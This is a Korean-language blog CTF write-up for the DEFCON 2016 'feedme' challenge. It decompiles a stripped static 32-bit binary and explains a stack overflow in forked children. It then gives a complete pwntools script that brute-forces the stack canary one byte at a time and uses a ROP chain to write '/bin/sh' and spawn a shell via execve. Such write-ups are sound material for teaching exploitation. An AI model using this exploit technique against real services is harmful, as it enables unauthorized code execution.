ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • feedme - DEFCON 2016
    Write-ups/CTFs 2020. 3. 1. 20:43

    Prob Info


    Checksec

    32bit 프로그램이며 NX만 활성화되어있다.

    Code


    static linked에 모두 스트립되어있어 함수를 잘 찾아줘야한다. 간단하게 start에서 시작해서 메인부터 찾아줬다.

     

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      signal(14, (int)sub_8048E24);
      alarm(150);
      setvbuf((unsigned int *)off_80EA4C0, 0, 2, 0);
      sub_804F820((int *)off_80EA4BC);
      sub_80490B0();
      return 0;
    }

    함수 인자보고 대충 예상해서 이름을 맞춰줬다.

     

    void sub_80490B0()
    {
      unsigned __int8 v0; // al
      int v1; // [esp+8h] [ebp-20h]
      int v2; // [esp+10h] [ebp-18h]
      unsigned int i; // [esp+14h] [ebp-14h]
      const struct timespec *v4; // [esp+18h] [ebp-10h]
      int v5; // [esp+1Ch] [ebp-Ch]
      int savedregs; // [esp+28h] [ebp+0h]
    
      v2 = 0;
      for ( i = 0; i <= 0x31F; ++i )
      {
        v4 = fork();
        if ( !v4 )
        {
          v0 = sub_8049036();
          printf("YUM, got %d bytes!\n", v0, v1);
          return;
        }
        v1 = 0;
        v5 = sub_806CBE0((int)&savedregs, (int)v4, (int)&v2);
        if ( v5 == -1 )
        {
          puts((int)"Wait error!");
          exit(-1);
        }
        if ( v2 == -1 )
        {
          puts((int)"Child IO error!");
          exit(-1);
        }
        puts((int)"Child exit.");
        sub_804FA20(0);
      }
    }

    sub_80490B0에 문제가 들어있다. 먼저 자기 프로세스를 fork시켜 자식 프로세스에서 sub_8049036를 실행시키며 이를 800번 반복한다.

     

    int sub_8049036()
    {
      unsigned __int8 v0; // ST1B_1
      char *v1; // eax
      int result; // eax
      char v3; // [esp+1Ch] [ebp-2Ch]
      unsigned int v4; // [esp+3Ch] [ebp-Ch]
    
      v4 = __readgsdword(0x14u);
      puts((int)"FEED ME!");
      v0 = getch();
      read_line((int)&v3, v0);
      v1 = sub_8048F6E((int)&v3, v0, 0x10u);
      printf("ATE %s\n", v1);
      result = v0;
      if ( __readgsdword(0x14u) != v4 )
        sub_806F5B0();
      return result;
    }

    getch는 한글자를 받아 그것을 숫자처럼 사용한다. ('a' 는 0x61) 받은 수만큼 입력을 받는데, 여기서 bof가 일어난다. 그런데 이 함수가 호출된 프로세스는 fork된 자식 프로세스이기 때문에 canary값도 같으며 이 canary가 손상되어도 메인 프로세스에게는 영향이 없다. 그렇기 때문에 brute forcing으로 canary 4바이트를 구하면 된다.

     

    canary = ''
    
    for i in range(4):
        for j in range(0xff):
            p.sendafter('ME!\n', chr(0x20+1+i))
            p.send('a'*0x20 + canary + chr(j))
            data = p.recvuntil('FEED ')
            if 'YUM' in data:
                canary += chr (j)
                log.info('canary: %r' % canary)
                break

    이후 canary를 구했으면 ret을 덮으면 된다. 그런데 static linked이기 때문에 그냥 syscall을 하기로 했다. 그전에 rop를 이용해 bss 영역에 /bin/sh을 써주고 가젯들을 모아 쉘을 열어준다.

     

    #!/usr/bin/python
    from pwn import *
    #context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']
    
    p = process('./feedme')
    binary = ELF('./feedme')
    
    bss = binary.bss() + 0xd00
    
    pppr = 0x080963be
    read = 0x0806D870
    binsh = '/bin/sh\x00'
    pop_eax_ret = 0x080e243d
    pop_edx_ecx_ebx = 0x0806f370
    int80 = 0x0806fa1d
    
    canary = ''
    
    for i in range(4):
        for j in range(0xff):
            p.sendafter('ME!\n', chr(0x20+1+i))
            p.send('a'*0x20 + canary + chr(j))
            data = p.recvuntil('FEED ')
            if 'YUM' in data:
                canary += chr (j)
                log.info('canary: %r' % canary)
                break
    
    payload = 'a'*0x20 + canary + 'a'*0xc
    payload += p32(read) + p32(pppr) + p32(0) + p32(bss) + p32(8)
    payload += p32(pop_eax_ret) + p32(0xb)
    payload += p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bss)
    payload += p32(int80)
    
    p.sendafter('ME!\n', chr(len(payload)))
    
    p.send(payload)
    
    p.send(binsh)
    
    p.interactive()

    'Write-ups > CTFs' 카테고리의 다른 글

    houseoforange - HITCON 2016  (0) 2020.02.27
    speedrun-009 - DEFCON 27  (0) 2020.02.22

    댓글

Designed by Tistory.